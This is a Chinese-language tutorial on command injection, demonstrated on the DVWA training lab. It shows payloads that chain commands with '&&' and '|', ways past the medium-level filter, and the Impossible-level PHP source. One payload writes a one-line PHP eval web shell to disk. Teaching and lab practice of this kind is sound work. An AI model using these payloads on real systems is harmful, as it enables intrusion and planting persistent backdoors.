数据来源
01 命令执行漏洞
命令执行漏洞- 例子1(无防御)
示例:(我这里使用dvwa靶场做演示)
解决靶场响应结果的中文乱码
charset=utf-8,修改为charset=gb2312
把安全等级调到:low(最低级)
选择命令注入
可以查看源码
没有做任何防御
靶场这里的网页命令使用的是ping,但是我们可以通过连接符在操作系统中连续执行命令, & 、&& 、| 、 || 都可以作为命令连接符使用,此漏洞可以注入命令开启后门。
如:127.0.0.1&&ipconfig (ipconfig是查看主机的ip信息,如果要执行其他DOS命令:DOS 命令)
命令执行漏洞- 例子2
把靶场的安全等级调到:Medium
从DVWA的medium级别源码可以看到,对参数进行了一些简单的过滤,此时可以通过&或|或者根据过滤的字符进行组合等绕过防御。
此时继续使用&&进行拼接是会报错的
以通过&或|或者根据过滤的字符进行组合等绕过防御
命令执行漏洞- 例子3
把靶场的安全等级调到:High
源码:
命令执行漏洞- 例子4
把靶场的安全等级调到:Impossible(最高级,号称不可能有漏洞)
源码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// 检查反CSRF令牌
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 获取输入
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// 将IP分成4个字节
$octet = explode( ".", $target );
// 检查每个字节是否为整数
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// 确定操作系统并执行ping命令.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// 最终用户的反馈
echo "<pre>{$cmd}</pre>";
}
else {
// 行动 让用户名出错
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// 生成反CSRF令牌
generateSessionToken();
?>
02 php命令执行
php命令执行反弹 shell
php命令执行写 shell
// echo 需要添加的字符串 >>[路径\]文件名.扩展名
// >> 追加 > 覆盖 文件不存在就创建
127.0.0.1|echo "<?php @eval($_POST["pass"]);?>" >D:/1.php
03 命令执行漏洞防护
1)禁用高危系统函数
2)严格过滤特殊字符
3)开启safe_mode